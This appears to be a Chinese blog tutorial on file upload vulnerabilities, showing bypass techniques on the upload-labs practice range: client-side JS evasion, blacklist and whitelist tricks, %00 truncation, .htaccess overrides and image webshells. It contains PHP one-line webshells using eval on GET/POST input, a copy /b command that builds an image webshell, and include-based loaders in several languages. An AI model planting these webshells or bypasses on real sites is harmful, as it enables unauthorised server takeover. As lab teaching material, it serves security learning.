【网络安全的神秘世界】 文件上传及验证绕过

🌝博客主页:泥菩萨

💖专栏:Linux探索之旅 | 网络安全的神秘世界 | 专接本 | 每天学会一个渗透测试工具
这个漏洞对于初学者好挖,先找到文件上传的位置

文件上传是web网页中常见的功能之一,通常情况下恶意文件的上传,会形成漏洞

漏洞逻辑:用户通过上传点上传了恶意文件,经过服务器的校验后保存到指定位置。当用户访问已经上传成功的文件时,上传的脚本会被web应用程序解析,从而对网站造成危害

文件上传漏洞的关键点:能不能传上去?保存位置在哪?能不能运行?

1、文件上传常见点

复制代码
上传头像
上传相册
上传附件
添加文章图片
前台留言资料上传
编辑器文件上传
....

例如如下编辑器上传点:

文件管理处文件上传:

前台用户发表文章处文件上传:

个人头像处文件上传:

2、客户端---JS绕过

复制代码
# 环境安装
docker pull cuer/upload-labs

#启动
docker run -d -p 8081:80 cuer/upload-labs

访问http://ip:8081,选择Pass-01

  • 解释型语言:脚本语言、php、python -- 边解释边执行
  • 编译型语言:java、go -- 提前写好代码交给程序运行

所以如果是编译型语言开发出来的网站,没有文件上传漏洞,因为即使上传了脚本语言也不会被执行,不满足文件上传的第三个关键点

2.1 抓包(后缀名绕过)

查看Upload-labs(Pass-01)源码分析,发现防护策略是用js语言写出来的,也就意味着这是一个前端防护策略校验

把恶意文档后缀名改为白名单所允许的后缀名进行上传

开启抓包,把拦截到的包后缀名再改回txt

上传成功了,复制图像链接去访问一下

2.2 禁用js

F12 --> F1,勾选禁用JavaScript

意味着前端页面的所有js代码都失效了

上传txt文档

直接就传上来了

2.3 修改前端代码

删除form标签的onsubmit事件即可成功上传,在实际渗透中,找到对应的js事件删除即可

注意:该方法在Firefox浏览器中生效,但是在Edge、Chrome浏览器中不生效


脚本文档内容可以为:

1️⃣phpinfo

复制代码
# 关于网站的信息页面,帮助我们做信息收集
<?php phpinfo();?>

2️⃣php一句话木马

(1)get方法

复制代码
<?php eval(@$_GET['a']);?>

(2)post方法

复制代码
<?php eval(@$_POST['a']);?>

打开火狐浏览器的hackbar插件

还可以用蚁剑进行连接

3、服务端黑名单绕过

黑名单:不允许进行上传的文件

在实际渗透中没有源代码,我们只能通过不断测试找到绕过方式

3.1 特殊可解析后缀

Upload-labs(Pass-03)分析源代码:设置了后缀名黑名单

可以直接上传txt,但是无法使用,因为只有上传一个脚本文件才能让里面的一句话木马生效

解决办法是上传其他脚本文件的后缀名,比如说:.phtml .phps .php5 .pht,但如果上传的是.php5这种类型文件,想被网站当成Php执行的话,需要有个前提条件:即Apache的httpd.conf有如下配置代码

靶场环境未配置好,仅做上传即可,目前不能使用

复制代码
AddType application/x-httpd-php .php .phtml .php5 .php5 .pht

3.2 大小写绕过

Upload-labs(Pass-06)源码分析:和上面思路一致,知识定义的黑名单数组内容增多

但是和第三关相比,少了转换为小写

直接把上传文件的后缀名改为大写即可绕过

3.3 点绕过

Upload-labs(Pass-08)源码分析:

和第6关代码相比,少了对点进行处理

抓包在后缀名后加上.

复制图像连接后访问,发现解析成功

window系统中会自动去除文件名最后的.,因此在Windows系统中可以使用此方法绕过

Linux系统虽然不会自动去除文件名最后的.,但是部分Linux系统搭配中间件可以实现解析

3.4 空格绕过

Upload-labs(Pass-07)源码分析:少了删除空格

抓包,在文件后缀加空格后上传

同理,window系统中会自动去除文件名最后的 空格

3.5 ::$DATA绕过

在windows中,如果文件名 + ::$DATA 会把 ::$DATA 之后的数据当成文件流处理,不会检测后缀名,且保持::$DATA之前的文件名。使用它的目的就是不检查后缀名,例如:

复制代码
phpinfo.php::$DATA

Upload-labs(Pass-09)源码分析:少了去除字符串::$DATA

抓包修改文件后缀

3.6 配合解析绕过

Upload-labs(Pass-10)源码分析:黑名单数组定义的非常完善,同时对后缀名的处理也一个没少

这一关的思路是它没有进行循环检测,所有检测方式只是验证了一次,所以绕过思路也很简单:在数据包中把后缀名改为:

复制代码
.php. .(两个点之间有空格)
.php. ::&DATA

验证过程:首先系统发现最后有一个点,这时会把它去掉,又发现有一个空格,也会把它去掉,这时还有一个点也就是.php. 由于系统只验证一次,所以不会再去掉剩下的点,这时就可以上传成功

3.7 .htaccess文件绕过

在利用 .htaccess 文件之前,我们先来了解一下 .htaccess 规则文件

复制代码
.htaccess文件是Apache服务器中的一个配置文件,它负责相关目录下的网页配置

.htaccess作用于此目录及其所有子目录

Upload-labs(Pass-4)源码分析:黑名单里没有过滤 .htaccess 文件

可以重写文件解析规则绕过,上传一个.htaccess,文件内容如下,意思是设置当前目录所有文件都使用PHP解析,那么无论上传任何文件,只要文件内容符合PHP语言代码规范,就会被当作PHP执行,不符合则报错

先准备好两个文件(.htaccess 和 magedu.jpg)

htaccess 复制代码
<!-- .htaccess文件 -->
# 把magedu.jpg文件当成php代码解析
<FilesMatch "magedu.jpg">
Sethandler application/x-httpd-php
</FilesMatch>
htaccess 复制代码
<!-- .htaccess文件 -->
<IfModule mime_module>
Sethandler application/x-httpd-php
</IfModule>
php 复制代码
//magedu.jpg
<?php phpinfo();?>

注意:.htaccess文件不能起名字,就是 .htaccess 文件,如果将其改为1.htaccess或者其他的什么名字是不可以的,无法解析

创建.htaccess文件

上传到网页,要勾选显示隐藏文件

在继续上传magedu.jpg文件

复制图像链接进行访问

3.8 双写后缀名绕过

Upload-labs(Pass-11)源码分析:

复制代码
phpinfo.pphphp

注意:phphpp不行,删除php后只剩hpp了

4、服务端白名单绕过

白名单:允许进行上传的文件

4.1 MIME类型检测绕过

Upload-labs(Pass-2)源码分析:

上传一个脚本文件,抓包改文件类型

4.2 00截断绕过

00截断是操作系统层的漏洞,由于操作系统是C语言或汇编语言编写的,这两种语言在定义字符串时,都是以\0为字符串的结尾,所以\0也被称为"字符串结束符"

复制代码
\0 是Ascii码表中的第0个字符,英文为NULL,中文为"空字符"

需要注意的是:\0是用户的输入经过层层解析后到达系统底层的表现形式,因此用户在前端输入的时候是不能直接使用\0的,通常会使用%00或0x00

复制代码
%00:在URL中%00表示ASCII码为0的字符,表示字符串的结束

0x00:按16进制读取内容,遇到ASCII为0的字符就会停止

0x00是%00解码成的16进制形式,记住就行,无需关注具体转换过程

截断原理:

复制代码
# 分析1.php%00.jpg

帮助攻击者绕过前后端的检测:前端检测时认为是jpg类型,保存时.jpg被截断了所以是php类型

注意:

%00用在路径上,而不是文件名上!

不然无法解析

截断条件:

1、php版本 < 5.3.4

复制代码
php -v

2、php.ini的magic_quotes_gpc为off状态

> 5.3.4版本版本实验过程

Upload-labs(Pass-12)源码分析:

上传info.png文件抓包修改http请求

修改后info.png会拼接在%00后从而帮助我们绕过

但是还是上传出错了,那是因为这个靶场的php版本过高

这个靶场是作者定义好的,我们没有办法改变,不过可以自己搭建靶场

复制代码
环境:windows操作系统 + phpstudy2018

# phpsudy:帮助我们快速搭建网站所需要的原环境、数据库环境等

Windows版phpstudy下载

一定要选择2018版本

安装好后,打开选择小于5.3.4版本的

把upload源码放在网站根目录下面

upload源码百度网盘

打开php的配置文件

查找关键字magic_quotes_gpc,修改值为off,ctrl+s保存后需要点击一下【重启】

在upload-labs目录下新建upload文件夹

直接访问本地ip下的upload-labs即可(因为文件是上传到这个文件夹下的,没有的话就手动添加)

< 5.3.4版本实验过程

Upload-labs(Pass-11)源码分析:get方法

get方法使用%00写在url中,网站会自动解码

抓包修改请求url

上传成功后,复制图像连接访问

删除后面的随机数,因为在后端存储过程中后面的随机数被截断了

Upload-labs(Pass-12)源码分析:用的post方法

post方法%00写在请求正文中,不会做自动解码,需要手动解码

抓包修改请求正文,并对%00进行解码

解码后会生成一个空格

回到网页发现上传成功了

5、服务端内容检查绕过

010 editor - 百度网盘

图片马:在图片中写入一句话木马且不破坏图片的格式,使其能够正常打开

5.1 文件头检查

注意:下面是16进制的文件头格式

复制代码
.jpg	FF D8 FF E0 00 10 4A 46 49 46
.gif    47 49 46 38 39 61
.png    89 50 4E 47
.zip    50 4B 03 04 

windows下16进制工具:

文件真实的内容,不会因为后缀名的改变而改变。所以网站依据文件的内容进行检测更安全

压缩包格式:

文件头50 4B 03 04 文件内容50 4B 01 02 文件结尾50 4B 05 06

图片马制作的三种方式:

1️⃣windows系统自带的文件拼接功能

复制代码
copy /b dog.png  + post.php dog2.png

post.php里面内容是一句话木马

在当前目录下打开命令行

通过010 Editor工具打开dog2.png,发现存在一句话木马

2️⃣取一个真实的图片,直接010 Editor在图片内容的尾部写入一句话木马

3️⃣取一个真实的脚本文件,直接010 Editor在脚本文件的头部写图片的文件码(严格意义上不算图片马)

打开脚本文件

剪切脚本文件里的内容

然后写入图片文件头格式,再粘贴脚本文件内容

Upload-labs(Pass-14)源码分析:

上传制作好的图片马dog2.png

结合靶场里的文件包含漏洞进行利用

网站的根目录有个include.php,就是实现文件包含功能的

查看include.php文件代码发现可以解析文件

图片马能执行的关键点在于网站有没有没见包含漏洞,而不是存在index.php

在图片马位置前构造 include.php?file=, 从include中加载刚上传的图片马

打开hackerbar插件,然后下滑到图片马的尾部

也可以用蚁剑进行连接

5.2 突破getimagesize及exif_imagetype

Upload-labs(Pass-15)源码分析:是用getimagesize获取文件类型,进行文件判断。此函数是获取文件类型是不是图片格式的,比如图片的长度和高度等。这个时候就不能再上传假图片了,

需要上传一张真图然后抓包,在最后添加一句话木马,也可以上传图片马

Upload-labs(Pass-16)源码分析:exif_imagetype读取一个图像的第一个字节并检查其签名

也是通过图片马绕过

5.3 二次渲染绕过

复制代码
二次渲染:根据用户上传的图片,新生成一个图片,原始图片被删除,而新图片添加到数据库
# 比如一些网站根据用户上传的头像生成大中小不同尺寸的图像

Upload-labs(Pass-17)源码分析:这关比较综合

上传png图片,把新生成的图片下载下来进行保存

拿到010 editor与原始图片相比较

标注了红色底色的部分表示图片发生了渲染的部分

仿照上述步骤取 gif 经渲染后的图片和原图进行比较,这里就不做演示了

发现 gif 被渲染部分较少,推荐使用 gif 进行绕过

在 gif 没被渲染的地方,插入一句话木马,打开动图看看能否正常播放(具体插在哪个位置只能通过不断的尝试,如果图片有损坏,即使上传成功,也无法被执行)

上传到靶场,复制链接后访问

5.4 文件包含绕过

**前提:**校验规则只校验当文件后缀名为asp/php/jsp的文件内容是否为木马

绕过方式

1️⃣先上传一个有木马的txt文件,因为后缀名的原因没有进行校验内容

2️⃣然后再上传一个php文件,文件内容不具备攻击特征,如下:

复制代码
<?php Include("上传的txt文件路径");?>

此时,这个php文件就会去引用txt文件的内容,从而绕过校验,下面列举其他语言的语法:

复制代码
# ASP
<!-- include file="上传的txt文件路径" -->

# jsp
<jsp:include page="上传的txt文件路径"/>  or  <%@include file="上传的txt文件路径"%>

6、代码逻辑(条件竞争)

7、总结

相关推荐
Python私教20 分钟前
Rust:安全与性能兼得的现代系统编程语言
java·安全·rust
xiaoniu6673 小时前
毕业设计-基于机器学习入侵检测系统
网络·安全·web安全
iOS开发上架哦4 小时前
charles网络抓包入门教程
网络协议·安全
Suckerbin5 小时前
pikachu靶场-敏感信息泄露
网络·学习·安全·网络安全
思通数科AI全行业智能NLP系统13 小时前
AI视频技术赋能幼儿园安全——教师离岗报警系统的智慧守护
大数据·人工智能·安全·目标检测·目标跟踪·自然语言处理·ocr
明似水14 小时前
Flutter 弹窗队列管理:支持优先级的线程安全通用弹窗队列系统
javascript·安全·flutter
CYRUS_STUDIO16 小时前
使用 Dex2C 加壳保护 Android APK 代码
android·安全·逆向
一颗星星辰16 小时前
路由交换网络专题 | 第八章 | GVRP配置 | 端口安全 | 端口隔离 | Mux-VLAN | Hybrid
网络·安全
自由鬼16 小时前
高性能的开源网络入侵检测和防御引擎:Suricata介绍
网络·安全·网络安全·开源·系统安全·入侵检测
mon_star°19 小时前
搭建基于火灾风险预测与防范的消防安全科普小程序
安全·微信小程序·小程序·微信公众平台